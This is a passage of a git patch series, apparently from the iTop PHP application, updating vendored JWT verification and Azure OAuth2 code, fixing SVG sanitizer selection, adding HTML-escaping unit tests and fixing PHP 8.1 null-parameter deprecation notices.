DomainException($e->getMessage(), 0, $e); } } + + throw new DomainException('Algorithm not supported'); } /** * Verify a signature with the message, key and method. Not all methods * are symmetric, so we must have a separate verify and sign method. * - * @param string $msg The original message (header and body) - * @param string $signature The original signature - * @param string|resource $key For HS*, a string key works. for RS*, must be a resource of an openssl public key - * @param string $alg The algorithm + * @param string $msg The original message (header and body) + * @param string $signature The original signature + * @param string|resource|OpenSSLAsymmetricKey|OpenSSLCertificate $keyMaterial For HS*, a string key works. for RS*, must be an instance of OpenSSLAsymmetricKey + * @param string $alg The algorithm * * @return bool * * @throws DomainException Invalid Algorithm, bad key, or OpenSSL failure */ - private static function verify($msg, $signature, $key, $alg) - { + private static function verify( + string $msg, + string $signature, + $keyMaterial, + string $alg + ): bool { if (empty(static::$supported_algs[$alg])) { throw new DomainException('Algorithm not supported'); } @@ -269,10 +294,11 @@ class JWT list($function, $algorithm) = static::$supported_algs[$alg]; switch ($function) { case 'openssl': - $success = \openssl_verify($msg, $signature, $key, $algorithm); + $success = \openssl_verify($msg, $signature, $keyMaterial, $algorithm); // @phpstan-ignore-line if ($success === 1) { return true; - } elseif ($success === 0) { + } + if ($success === 0) { return false; } // returns 1 on success, 0 on failure, -1 on error. @@ -280,21 +306,33 @@ class JWT 'OpenSSL error: ' . \openssl_error_string() ); case 'sodium_crypto': - if (!function_exists('sodium_crypto_sign_verify_detached')) { - throw new DomainException('libsodium is not available'); - } - try { - // The last non-empty line is used as the key. - $lines = array_filter(explode("\n", $key)); - $key = base64_decode(end($lines)); - return sodium_crypto_sign_verify_detached($signature, $msg, $key); - } catch (Exception $e) { - throw new DomainException($e->getMessage(), 0, $e); - } + if (!\function_exists('sodium_crypto_sign_verify_detached')) { + throw new DomainException('libsodium is not available'); + } + if (!\is_string($keyMaterial)) { + throw new InvalidArgumentException('key must be a string when using EdDSA'); + } + try { + // The last non-empty line is used as the key. + $lines = array_filter(explode("\n", $keyMaterial)); + $key = base64_decode((string) end($lines)); + if (\strlen($key) === 0) { + throw new DomainException('Key cannot be empty string'); + } + if (\strlen($signature) === 0) { + throw new DomainException('Signature cannot be empty string'); + } + return sodium_crypto_sign_verify_detached($signature, $msg, $key); + } catch (Exception $e) { + throw new DomainException($e->getMessage(), 0, $e); + } case 'hash_hmac': default: - $hash = \hash_hmac($algorithm, $msg, $key, true); - return self::constantTimeEquals($signature, $hash); + if (!\is_string($keyMaterial)) { + throw new InvalidArgumentException('key must be a string when using hmac'); + } + $hash = \hash_hmac($algorithm, $msg, $keyMaterial, true); + return self::constantTimeEquals($hash, $signature); } } @@ -303,30 +341,16 @@ class JWT * * @param string $input JSON string * - * @return object Object representation of JSON string + * @return mixed The decoded JSON string * * @throws DomainException Provided string was invalid JSON */ - public static function jsonDecode($input) + public static function jsonDecode(string $input) { - if (\version_compare(PHP_VERSION, '5.4.0', '>=') && !(\defined('JSON_C_VERSION') && PHP_INT_SIZE > 4)) { - /** In PHP >=5.4.0, json_decode() accepts an options parameter, that allows you - * to specify that large ints (like Steam Transaction IDs) should be treated as - * strings, rather than the PHP default behaviour of converting them to floats. - */ - $obj = \json_decode($input, false, 512, JSON_BIGINT_AS_STRING); - } else { - /** Not all servers will support that, however, so for older versions we must - * manually detect large ints in the JSON string and quote them (thus converting - *them to strings) before decoding, hence the preg_replace() call. - */ - $max_int_length = \strlen((string) PHP_INT_MAX) - 1; - $json_without_bigints = \preg_replace('/:\s*(-?\d{'.$max_int_length.',})/', ': "$1"', $input); - $obj = \json_decode($json_without_bigints); - } + $obj = \json_decode($input, false, 512, JSON_BIGINT_AS_STRING); if ($errno = \json_last_error()) { - static::handleJsonError($errno); + self::handleJsonError($errno); } elseif ($obj === null && $input !== 'null') { throw new DomainException('Null result with non-null input'); } @@ -334,22 +358,30 @@ class JWT } /** - * Encode a PHP object into a JSON string. + * Encode a PHP array into a JSON string. * - * @param object|array $input A PHP object or array + * @param array $input A PHP array * - * @return string JSON representation of the PHP object or array + * @return string JSON representation of the PHP array * * @throws DomainException Provided object could not be encoded to valid JSON */ - public static function jsonEncode($input) + public static function jsonEncode(array $input): string { - $json = \json_encode($input); + if (PHP_VERSION_ID >= 50400) { + $json = \json_encode($input, \JSON_UNESCAPED_SLASHES); + } else { + // PHP 5.3 only + $json = \json_encode($input); + } if ($errno = \json_last_error()) { - static::handleJsonError($errno); + self::handleJsonError($errno); } elseif ($json === 'null' && $input !== null) { throw new DomainException('Null result with non-null input'); } + if ($json === false) { + throw new DomainException('Provided object could not be encoded to valid JSON'); + } return $json; } @@ -359,8 +391,10 @@ class JWT * @param string $input A Base64 encoded string * * @return string A decoded string + * + * @throws InvalidArgumentException invalid base64 characters */ - public static function urlsafeB64Decode($input) + public static function urlsafeB64Decode(string $input): string { $remainder = \strlen($input) % 4; if ($remainder) { @@ -377,7 +411,7 @@ class JWT * * @return string The base64 encode of what you passed in */ - public static function urlsafeB64Encode($input) + public static function urlsafeB64Encode(string $input): string { return \str_replace('=', '', \strtr(\base64_encode($input), '+/', '-_')); } @@ -386,67 +420,54 @@ class JWT /** * Determine if an algorithm has been provided for each Key * - * @param Key|array|mixed $keyOrKeyArray - * @param string|null $kid + * @param Key|ArrayAccess|array $keyOrKeyArray + * @param string|null $kid * * @throws UnexpectedValueException * - * @return array containing the keyMaterial and algorithm + * @return Key */ - private static function getKeyMaterialAndAlgorithm($keyOrKeyArray, $kid = null) - { - if ( - is_string($keyOrKeyArray) - || is_resource($keyOrKeyArray) - || $keyOrKeyArray instanceof OpenSSLAsymmetricKey - ) { - return array($keyOrKeyArray, null); - } - + private static function getKey( + $keyOrKeyArray, + ?string $kid + ): Key { if ($keyOrKeyArray instanceof Key) { - return array($keyOrKeyArray->getKeyMaterial(), $keyOrKeyArray->getAlgorithm()); + return $keyOrKeyArray; } - if (is_array($keyOrKeyArray) || $keyOrKeyArray instanceof ArrayAccess) { - if (!isset($kid)) { - throw new UnexpectedValueException('"kid" empty, unable to lookup correct key'); - } - if (!isset($keyOrKeyArray[$kid])) { - throw new UnexpectedValueException('"kid" invalid, unable to lookup correct key'); - } - - $key = $keyOrKeyArray[$kid]; - - if ($key instanceof Key) { - return array($key->getKeyMaterial(), $key->getAlgorithm()); - } - - return array($key, null); + if (empty($kid)) { + throw new UnexpectedValueException('"kid" empty, unable to lookup correct key'); } - throw new UnexpectedValueException( - '$keyOrKeyArray must be a string|resource key, an array of string|resource keys, ' - . 'an instance of Firebase\JWT\Key key or an array of Firebase\JWT\Key keys' - ); + if ($keyOrKeyArray instanceof CachedKeySet) { + // Skip "isset" check, as this will automatically refresh if not set + return $keyOrKeyArray[$kid]; + } + + if (!isset($keyOrKeyArray[$kid])) { + throw new UnexpectedValueException('"kid" invalid, unable to lookup correct key'); + } + + return $keyOrKeyArray[$kid]; } /** - * @param string $left - * @param string $right + * @param string $left The string of known length to compare against + * @param string $right The user-supplied string * @return bool */ - public static function constantTimeEquals($left, $right) + public static function constantTimeEquals(string $left, string $right): bool { if (\function_exists('hash_equals')) { return \hash_equals($left, $right); } - $len = \min(static::safeStrlen($left), static::safeStrlen($right)); + $len = \min(self::safeStrlen($left), self::safeStrlen($right)); $status = 0; for ($i = 0; $i < $len; $i++) { $status |= (\ord($left[$i]) ^ \ord($right[$i])); } - $status |= (static::safeStrlen($left) ^ static::safeStrlen($right)); + $status |= (self::safeStrlen($left) ^ self::safeStrlen($right)); return ($status === 0); } @@ -456,17 +477,19 @@ class JWT * * @param int $errno An error number from json_last_error() * + * @throws DomainException + * * @return void */ - private static function handleJsonError($errno) + private static function handleJsonError(int $errno): void { - $messages = array( + $messages = [ JSON_ERROR_DEPTH => 'Maximum stack depth exceeded', JSON_ERROR_STATE_MISMATCH => 'Invalid or malformed JSON', JSON_ERROR_CTRL_CHAR => 'Unexpected control character found', JSON_ERROR_SYNTAX => 'Syntax error, malformed JSON', JSON_ERROR_UTF8 => 'Malformed UTF-8 characters' //PHP >= 5.3.3 - ); + ]; throw new DomainException( isset($messages[$errno]) ? $messages[$errno] @@ -481,7 +504,7 @@ class JWT * * @return int */ - private static function safeStrlen($str) + private static function safeStrlen(string $str): int { if (\function_exists('mb_strlen')) { return \mb_strlen($str, '8bit'); @@ -495,10 +518,11 @@ class JWT * @param string $sig The ECDSA signature to convert * @return string The encoded DER object */ - private static function signatureToDER($sig) + private static function signatureToDER(string $sig): string { // Separate the signature into r-value and s-value - list($r, $s) = \str_split($sig, (int) (\strlen($sig) / 2)); + $length = max(1, (int) (\strlen($sig) / 2)); + list($r, $s) = \str_split($sig, $length); // Trim leading zeros $r = \ltrim($r, "\x00"); @@ -525,9 +549,10 @@ class JWT * * @param int $type DER tag * @param string $value the value to encode + * * @return string the encoded object */ - private static function encodeDER($type, $value) + private static function encodeDER(int $type, string $value): string { $tag_header = 0; if ($type === self::ASN1_SEQUENCE) { @@ -548,9 +573,10 @@ class JWT * * @param string $der binary signature in DER format * @param int $keySize the number of bits in the key + * * @return string the signature */ - private static function signatureFromDER($der, $keySize) + private static function signatureFromDER(string $der, int $keySize): string { // OpenSSL returns the ECDSA signatures as a binary ASN.1 DER SEQUENCE list($offset, $_) = self::readDER($der); @@ -575,9 +601,10 @@ class JWT * @param string $der the binary data in DER format * @param int $offset the offset of the data stream containing the object * to decode - * @return array [$offset, $data] the new offset and the decoded object + * + * @return array{int, string|null} the new offset and the decoded object */ - private static function readDER($der, $offset = 0) + private static function readDER(string $der, int $offset = 0): array { $pos = $offset; $size = \strlen($der); @@ -595,7 +622,7 @@ class JWT } // Value - if ($type == self::ASN1_BIT_STRING) { + if ($type === self::ASN1_BIT_STRING) { $pos++; // Skip the first contents octet (padding indicator) $data = \substr($der, $pos, $len - 1); $pos += $len - 1; @@ -606,6 +633,6 @@ class JWT $data = null; } - return array($pos, $data); + return [$pos, $data]; } } diff --git a/lib/firebase/php-jwt/src/Key.php b/lib/firebase/php-jwt/src/Key.php index f1ede6f27..00cf7f2ed 100644 --- a/lib/firebase/php-jwt/src/Key.php +++ b/lib/firebase/php-jwt/src/Key.php @@ -4,37 +4,42 @@ namespace Firebase\JWT; use InvalidArgumentException; use OpenSSLAsymmetricKey; +use OpenSSLCertificate; +use TypeError; class Key { - /** @var string $algorithm */ + /** @var string|resource|OpenSSLAsymmetricKey|OpenSSLCertificate */ + private $keyMaterial; + /** @var string */ private $algorithm; - /** @var string|resource|OpenSSLAsymmetricKey $keyMaterial */ - private $keyMaterial; - /** - * @param string|resource|OpenSSLAsymmetricKey $keyMaterial + * @param string|resource|OpenSSLAsymmetricKey|OpenSSLCertificate $keyMaterial * @param string $algorithm */ - public function __construct($keyMaterial, $algorithm) - { + public function __construct( + $keyMaterial, + string $algorithm + ) { if ( - !is_string($keyMaterial) - && !is_resource($keyMaterial) + !\is_string($keyMaterial) && !$keyMaterial instanceof OpenSSLAsymmetricKey + && !$keyMaterial instanceof OpenSSLCertificate + && !\is_resource($keyMaterial) ) { - throw new InvalidArgumentException('Type error: $keyMaterial must be a string, resource, or OpenSSLAsymmetricKey'); + throw new TypeError('Key material must be a string, resource, or OpenSSLAsymmetricKey'); } if (empty($keyMaterial)) { - throw new InvalidArgumentException('Type error: $keyMaterial must not be empty'); + throw new InvalidArgumentException('Key material must not be empty'); } - if (!is_string($algorithm)|| empty($keyMaterial)) { - throw new InvalidArgumentException('Type error: $algorithm must be a string'); + if (empty($algorithm)) { + throw new InvalidArgumentException('Algorithm must not be empty'); } + // TODO: Remove in PHP 8.0 in favor of class constructor property promotion $this->keyMaterial = $keyMaterial; $this->algorithm = $algorithm; } @@ -44,13 +49,13 @@ class Key * * @return string */ - public function getAlgorithm() + public function getAlgorithm(): string { return $this->algorithm; } /** - * @return string|resource|OpenSSLAsymmetricKey + * @return string|resource|OpenSSLAsymmetricKey|OpenSSLCertificate */ public function getKeyMaterial() { diff --git a/lib/thenetworg/oauth2-azure/.gitignore b/lib/thenetworg/oauth2-azure/.gitignore index 9c9c8f271..57a23bd06 100644 --- a/lib/thenetworg/oauth2-azure/.gitignore +++ b/lib/thenetworg/oauth2-azure/.gitignore @@ -3,3 +3,7 @@ composer.phar composer.lock .DS_Store + +# IDE +/.idea +/.vscode diff --git a/lib/thenetworg/oauth2-azure/README.md b/lib/thenetworg/oauth2-azure/README.md index fbf296595..ee6f06d3f 100644 --- a/lib/thenetworg/oauth2-azure/README.md +++ b/lib/thenetworg/oauth2-azure/README.md @@ -46,7 +46,7 @@ $provider = new TheNetworg\OAuth2\Client\Provider\Azure([ 'clientSecret' => '{azure-client-secret}', 'redirectUri' => 'https://example.com/callback-url', //Optional - 'scopes' => 'openid', + 'scopes' => ['openid'], //Optional 'defaultEndPointVersion' => '2.0' ]); diff --git a/lib/thenetworg/oauth2-azure/composer.json b/lib/thenetworg/oauth2-azure/composer.json index e2e3b922d..4fb348463 100644 --- a/lib/thenetworg/oauth2-azure/composer.json +++ b/lib/thenetworg/oauth2-azure/composer.json @@ -22,9 +22,11 @@ "sso" ], "require": { - "php": "^5.6|^7.0|^8.0", + "ext-json": "*", + "ext-openssl": "*", + "php": "^7.1|^8.0", "league/oauth2-client": "~2.0", - "firebase/php-jwt": "~3.0||~4.0||~5.0" + "firebase/php-jwt": "~3.0||~4.0||~5.0||~6.0" }, "autoload": { "psr-4": { diff --git a/lib/thenetworg/oauth2-azure/src/Provider/Azure.php b/lib/thenetworg/oauth2-azure/src/Provider/Azure.php index d07fdef34..50aec8235 100644 --- a/lib/thenetworg/oauth2-azure/src/Provider/Azure.php +++ b/lib/thenetworg/oauth2-azure/src/Provider/Azure.php @@ -3,9 +3,13 @@ namespace TheNetworg\OAuth2\Client\Provider; use Firebase\JWT\JWT; +use Firebase\JWT\JWK; +use Firebase\JWT\Key; use League\OAuth2\Client\Grant\AbstractGrant; use League\OAuth2\Client\Provider\AbstractProvider; use League\OAuth2\Client\Provider\Exception\IdentityProviderException; +use League\OAuth2\Client\Provider\ResourceOwnerInterface; +use League\OAuth2\Client\Token\AccessTokenInterface; use League\OAuth2\Client\Tool\BearerAuthorizationTrait; use Psr\Http\Message\ResponseInterface; use TheNetworg\OAuth2\Client\Grant\JwtBearer; @@ -66,7 +70,8 @@ class Azure extends AbstractProvider } if (!array_key_exists($version, $this->openIdConfiguration[$tenant])) { $versionInfix = $this->getVersionUriInfix($version); - $openIdConfigurationUri = 'https://login.microsoftonline.com/' . $tenant . $versionInfix . '/.well-known/openid-configuration'; + $openIdConfigurationUri = $this->urlLogin . $tenant . $versionInfix . '/.well-known/openid-configuration?appid=' . $this->clientId; + $factory = $this->getRequestFactory(); $request = $factory->getRequestWithOptions( 'get', @@ -80,19 +85,28 @@ class Azure extends AbstractProvider return $this->openIdConfiguration[$tenant][$version]; } - public function getBaseAuthorizationUrl() + /** + * @inheritdoc + */ + public function getBaseAuthorizationUrl(): string { $openIdConfiguration = $this->getOpenIdConfiguration($this->tenant, $this->defaultEndPointVersion); return $openIdConfiguration['authorization_endpoint']; } - public function getBaseAccessTokenUrl(array $params) + /** + * @inheritdoc + */ + public function getBaseAccessTokenUrl(array $params): string { $openIdConfiguration = $this->getOpenIdConfiguration($this->tenant, $this->defaultEndPointVersion); return $openIdConfiguration['token_endpoint']; } - public function getAccessToken($grant, array $options = []) + /** + * @inheritdoc + */ + public function getAccessToken($grant, array $options = []): AccessTokenInterface { if ($this->defaultEndPointVersion != self::ENDPOINT_VERSION_2_0) { // Version 2.0 does not support the resources parameter @@ -106,14 +120,21 @@ class Azure extends AbstractProvider return parent::getAccessToken($grant, $options); } - public function getResourceOwner(\League\OAuth2\Client\Token\AccessToken $token) + /** + * @inheritdoc + */ + public function getResourceOwner(\League\OAuth2\Client\Token\AccessToken $token): ResourceOwnerInterface { $data = $token->getIdTokenClaims(); return $this->createResourceOwner($data, $token); } - public function getResourceOwnerDetailsUrl(\League\OAuth2\Client\Token\AccessToken $token) + /** + * @inheritdoc + */ + public function getResourceOwnerDetailsUrl(\League\OAuth2\Client\Token\AccessToken $token): string { + return ''; // shouldn't that return such a URL? } public function getObjects($tenant, $ref, &$accessToken, $headers = []) @@ -164,11 +185,11 @@ class Azure extends AbstractProvider return 'https://' . $openIdConfiguration['msgraph_host']; } - public function get($ref, &$accessToken, $headers = []) + public function get($ref, &$accessToken, $headers = [], $doNotWrap = false) { $response = $this->request('get', $ref, $accessToken, ['headers' => $headers]); - return $this->wrapResponse($response); + return $doNotWrap ? $response : $this->wrapResponse($response); } public function post($ref, $body, &$accessToken, $headers = []) @@ -352,8 +373,24 @@ class Azure extends AbstractProvider $publicKey = $pkey_array ['key']; - $keys[$keyinfo['kid']] = $publicKey; + $keys[$keyinfo['kid']] = new Key($publicKey, 'RS256'); } + } else if (isset($keyinfo['n']) && isset($keyinfo['e'])) { + $pkey_object = JWK::parseKey($keyinfo); + + if ($pkey_object === false) { + throw new \RuntimeException('An attempt to read a public key from a ' . $keyinfo['n'] . ' certificate failed.'); + } + + $pkey_array = openssl_pkey_get_details($pkey_object); + + if ($pkey_array === false) { + throw new \RuntimeException('An attempt to get a public key as an array from a ' . $keyinfo['n'] . ' certificate failed.'); + } + + $publicKey = $pkey_array ['key']; + + $keys[$keyinfo['kid']] = new Key($publicKey, 'RS256');; } } @@ -382,7 +419,10 @@ class Azure extends AbstractProvider return $this->getOpenIdConfiguration($this->tenant, $this->defaultEndPointVersion); } - protected function checkResponse(ResponseInterface $response, $data) + /** + * @inheritdoc + */ + protected function checkResponse(ResponseInterface $response, $data): void { if (isset($data['odata.error']) || isset($data['error'])) { if (isset($data['odata.error']['message']['value'])) { @@ -402,27 +442,39 @@ class Azure extends AbstractProvider throw new IdentityProviderException( $message, $response->getStatusCode(), - $response + $response->getBody() ); } } - protected function getDefaultScopes() + /** + * @inheritdoc + */ + protected function getDefaultScopes(): array { return $this->scope; } - protected function getScopeSeparator() + /** + * @inheritdoc + */ + protected function getScopeSeparator(): string { return $this->scopeSeparator; } - protected function createAccessToken(array $response, AbstractGrant $grant) + /** + * @inheritdoc + */ + protected function createAccessToken(array $response, AbstractGrant $grant): AccessToken { return new AccessToken($response, $this); } - protected function createResourceOwner(array $response, \League\OAuth2\Client\Token\AccessToken $token) + /** + * @inheritdoc + */ + protected function createResourceOwner(array $response, \League\OAuth2\Client\Token\AccessToken $token): AzureResourceOwner { return new AzureResourceOwner($response); } diff --git a/lib/thenetworg/oauth2-azure/src/Token/AccessToken.php b/lib/thenetworg/oauth2-azure/src/Token/AccessToken.php index 3899f8377..7de80f9e5 100644 --- a/lib/thenetworg/oauth2-azure/src/Token/AccessToken.php +++ b/lib/thenetworg/oauth2-azure/src/Token/AccessToken.php @@ -19,6 +19,8 @@ class AccessToken extends \League\OAuth2\Client\Token\AccessToken if (!empty($options['id_token'])) { $this->idToken = $options['id_token']; + unset($this->values['id_token']); + $keys = $provider->getJwtVerificationKeys(); $idTokenClaims = null; try { @@ -45,8 +47,27 @@ class AccessToken extends \League\OAuth2\Client\Token\AccessToken } } + public function getIdToken() + { + return $this->idToken; + } + public function getIdTokenClaims() { return $this->idTokenClaims; } + + /** + * @inheritdoc + */ + public function jsonSerialize() + { + $parameters = parent::jsonSerialize(); + + if ($this->idToken) { + $parameters['id_token'] = $this->idToken; + } + + return $parameters; + } } From e960a4ad53af1beb56a072b88bb5c8fdc42c0beb Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 18:38:03 +0100 Subject: [PATCH 147/230] =?UTF-8?q?N=C2=B06023=20Fix=20cannot=20load=20SVG?= =?UTF-8?q?=20files=20in=20AttributeImage=20since=203.0.0=20(#449)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Caused by merge error in ddd6bf2 Co-authored-by: Molkobain --- core/htmlsanitizer.class.inc.php | 34 +++++++++++-------- .../core/sanitizer/SvgDOMSanitizerTest.php | 22 +++++++----- 2 files changed, 32 insertions(+), 24 deletions(-) diff --git a/core/htmlsanitizer.class.inc.php b/core/htmlsanitizer.class.inc.php index 8d8b14dbf..2f9f44280 100644 --- a/core/htmlsanitizer.class.inc.php +++ b/core/htmlsanitizer.class.inc.php @@ -34,32 +34,36 @@ abstract class HTMLSanitizer /** * Sanitize an HTML string with the configured sanitizer, falling back to HTMLDOMSanitizer in case of Exception or invalid configuration + * * @param string $sHTML + * @param string $sConfigKey eg. 'html_sanitizer', 'svg_sanitizer' + * * @return string */ - public static function Sanitize($sHTML) + public static function Sanitize($sHTML, $sConfigKey = 'html_sanitizer') { - $sSanitizerClass = MetaModel::GetConfig()->Get('html_sanitizer'); - if(!class_exists($sSanitizerClass)) - { + $sSanitizerClass = utils::GetConfig()->Get($sConfigKey); + if (!class_exists($sSanitizerClass)) { IssueLog::Warning('The configured "html_sanitizer" class "'.$sSanitizerClass.'" is not a valid class. Will use HTMLDOMSanitizer as the default sanitizer.'); $sSanitizerClass = 'HTMLDOMSanitizer'; - } - else if(!is_subclass_of($sSanitizerClass, 'HTMLSanitizer')) - { - IssueLog::Warning('The configured "html_sanitizer" class "'.$sSanitizerClass.'" is not a subclass of HTMLSanitizer. Will use HTMLDOMSanitizer as the default sanitizer.'); - $sSanitizerClass = 'HTMLDOMSanitizer'; + } else if (!is_subclass_of($sSanitizerClass, 'HTMLSanitizer')) { + if ($sConfigKey === 'html_sanitizer') { + IssueLog::Warning('The configured "'.$sConfigKey.'" class "'.$sSanitizerClass.'" is not a subclass of HTMLSanitizer. Will use HTMLDOMSanitizer as the default sanitizer.'); + $sSanitizerClass = 'HTMLDOMSanitizer'; + } + if ($sConfigKey === 'svg_sanitizer') { + IssueLog::Error('The configured "'.$sConfigKey.'" class "'.$sSanitizerClass.'" is not a subclass of '.HTMLSanitizer::class.' ! Won\'t sanitize string.'); + + return $sHTML; + } } - try - { + try { $oSanitizer = new $sSanitizerClass(); $sCleanHTML = $oSanitizer->DoSanitize($sHTML); } - catch(Exception $e) - { - if($sSanitizerClass != 'HTMLDOMSanitizer') - { + catch (Exception $e) { + if ($sSanitizerClass != 'HTMLDOMSanitizer') { IssueLog::Warning('Failed to sanitize an HTML string with "'.$sSanitizerClass.'". The following exception occured: '.$e->getMessage()); IssueLog::Warning('Will try to sanitize with HTMLDOMSanitizer.'); // try again with the HTMLDOMSanitizer diff --git a/tests/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php index b86424a20..28618a19f 100644 --- a/tests/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php +++ b/tests/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php @@ -2,6 +2,7 @@ namespace Combodo\iTop\Test\UnitTest\Core\Sanitizer; +use HTMLSanitizer; use SVGDOMSanitizer; @@ -22,7 +23,7 @@ class SVGDOMSanitizerTest extends AbstractDOMSanitizerTest $sOutputHtml = $this->RemoveNewLines($sOutputHtml); $oSanitizer = new SVGDOMSanitizer(); - $sRes = $oSanitizer->DoSanitize($sInputHtml); + $sResFromSvgSanitizer = $oSanitizer->DoSanitize($sInputHtml); // Removing newlines as the parser gives different results depending on the PHP version // Didn't manage to get it right : @@ -30,19 +31,22 @@ class SVGDOMSanitizerTest extends AbstractDOMSanitizerTest // - playing with the parser preserveWhitespace/formatOutput parser options didn't help // So we're removing new lines on both sides :/ $sOutputHtml = $this->RemoveNewLines($sOutputHtml); - $sRes = $this->RemoveNewLines($sRes); + $sResFromSvgSanitizer = $this->RemoveNewLines($sResFromSvgSanitizer); - $this->debug($sRes); - $this->assertEquals($sOutputHtml, $sRes); + $this->debug($sResFromSvgSanitizer); + $this->assertEquals($sOutputHtml, $sResFromSvgSanitizer); + + // N°6023 checking call through the factory is working as well + $sResFromSanitizerFactory = HTMLSanitizer::Sanitize($sInputHtml, 'svg_sanitizer'); + $sResFromSanitizerFactory = $this->RemoveNewLines($sResFromSanitizerFactory); + $this->assertEquals($sOutputHtml, $sResFromSanitizerFactory); } public function DoSanitizeProvider() { - return array( - array( - 'scripts.svg', - ), - ); + return [ + ['scripts.svg'], + ]; } } From 5c9eb7fa38ba0a07213b169b598ee6b59d8acf26 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 18:56:28 +0100 Subject: [PATCH 148/230] =?UTF-8?q?N=C2=B06020=20PHPUnit=20for=20\utils::E?= =?UTF-8?q?scapeHtml=20and=20EscapedHtmlDecode=20methods=20This=20will=20e?= =?UTF-8?q?nsure=20conversion=20back=20and=20forth=20is=20working=20as=20e?= =?UTF-8?q?xpected=20(in=20other=20words,=20parameters=20to=20the=20php=20?= =?UTF-8?q?functions=20stays=20the=20same=20in=20both=20methods)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/application/utilsTest.php | 36 ++++++++++++++++--- 1 file changed, 32 insertions(+), 4 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/application/utilsTest.php b/tests/php-unit-tests/unitary-tests/application/utilsTest.php index 592e60245..e03f1ff34 100644 --- a/tests/php-unit-tests/unitary-tests/application/utilsTest.php +++ b/tests/php-unit-tests/unitary-tests/application/utilsTest.php @@ -679,10 +679,38 @@ class utilsTest extends ItopTestCase 'good context_param' => ['context_param', '%dssD25_=%:+-', '%dssD25_=%:+-'], 'bad context_param' => ['context_param', '%dssD,25_=%:+-', null], 'good element_identifier' => ['element_identifier', 'AD05nb', 'AD05nb'], - 'bad element_identifier' => ['element_identifier', 'AD05nb+', 'AD05nb'], - 'good url' => ['url', 'https://www.w3schools.com', 'https://www.w3schools.com'], - 'bad url' => ['url', 'https://www.w3schoo��ls.co�m', 'https://www.w3schools.com'], - 'raw_data' => ['raw_data', '\s😃😃😃', '\s😃😃😃'], + 'bad element_identifier' => ['element_identifier', 'AD05nb+', 'AD05nb'], + 'good url' => ['url', 'https://www.w3schools.com', 'https://www.w3schools.com'], + 'bad url' => ['url', 'https://www.w3schoo��ls.co�m', 'https://www.w3schools.com'], + 'raw_data' => ['raw_data', '\s😃😃😃', '\s😃😃😃'], + ]; + } + + /** + * @return void + * + * @dataProvider escapeHtmlProvider + */ + public function testEscapeHtml($sInput, $sExpectedEscaped) + { + if (is_null($sExpectedEscaped)) { + $sExpectedEscaped = $sInput; + } + + $sEscaped = utils::EscapeHtml($sInput); + self::assertSame($sExpectedEscaped, $sEscaped); + + $sEscapedDecoded = utils::EscapedHtmlDecode($sEscaped); + self::assertSame($sInput, $sEscapedDecoded); + } + + public function escapeHtmlProvider() + { + return [ + 'no escape' => ['abcdefghijklmnop', null], + '&' => ['abcdefghijklmnop&0123456789', 'abcdefghijklmnop&0123456789'], + ['"double quotes"', '"double quotes"'], + ["'simple quotes'", ''simple quotes''], ]; } } From 61bd8b6bb4de7c6ad76c37041143774e32ecb145 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 24 Feb 2023 21:30:21 +0100 Subject: [PATCH 149/230] =?UTF-8?q?N=C2=B04517=20-=20PHP=208.1:=20Fix=20de?= =?UTF-8?q?precated=20notice=20for=20null=20value=20passed=20to=20string?= =?UTF-8?q?=20parameter=20of=20native=20PHP=20functions?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/utils.inc.php | 2 +- core/apc-emulation.php | 2 +- core/inlineimage.class.inc.php | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/application/utils.inc.php b/application/utils.inc.php index dc2f2d1d8..a5103aefb 100644 --- a/application/utils.inc.php +++ b/application/utils.inc.php @@ -2271,7 +2271,7 @@ class utils $aParams = array(); foreach(explode('&', $sQuery) as $sChunk) { - $aParts = explode('=', $sChunk); + $aParts = explode('=', $sChunk ?? ''); if (count($aParts) != 2) continue; $aParams[$aParts[0]] = urldecode($aParts[1]); } diff --git a/core/apc-emulation.php b/core/apc-emulation.php index 7f6e9e3ae..1a8829494 100644 --- a/core/apc-emulation.php +++ b/core/apc-emulation.php @@ -110,7 +110,7 @@ class apcFile */ static public function GetCacheFileName($sKey = '') { - $sPath = str_replace(array(' ', '/', '\\', '.'), '-', $sKey); + $sPath = str_replace(array(' ', '/', '\\', '.'), '-', $sKey ?? ''); return utils::GetCachePath().'apc-emul/'.$sPath; } diff --git a/core/inlineimage.class.inc.php b/core/inlineimage.class.inc.php index ec71d82a0..f8cfcae48 100644 --- a/core/inlineimage.class.inc.php +++ b/core/inlineimage.class.inc.php @@ -242,7 +242,7 @@ class InlineImage extends DBObject public static function OnFormCancel($sTempId): bool { // Protection against unfortunate massive delete of inline images when a null temp ID is passed - if (strlen($sTempId) === 0) { + if (utils::IsNullOrEmptyString($sTempId)) { IssueLog::Trace('OnFormCancel "error" $sTempId is null or empty', LogChannels::INLINE_IMAGE, array( '$sTempId' => $sTempId, '$sUser' => UserRights::GetUser(), From b174e4cab34d09170df4559e328e5aa55ae203c2 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 24 Feb 2023 22:40:17 +0100 Subject: [PATCH 150/230] =?UTF-8?q?N=C2=B04517=20-=20PHP=208.1:=20Fix=20de?= =?UTF-8?q?precated=20notice=20for=20null=20value=20passed=20to=20string?= =?UTF-8?q?=20parameter=20of=20native=20PHP=20functions?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/utils.inc.php | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/application/utils.inc.php b/application/utils.inc.php index a5103aefb..fbdc34bec 100644 --- a/application/utils.inc.php +++ b/application/utils.inc.php @@ -158,7 +158,7 @@ class utils self::$m_aParamsFromFile = array(); } - $aParamLines = explode("\n", $sParams); + $aParamLines = explode("\n", $sParams ?? 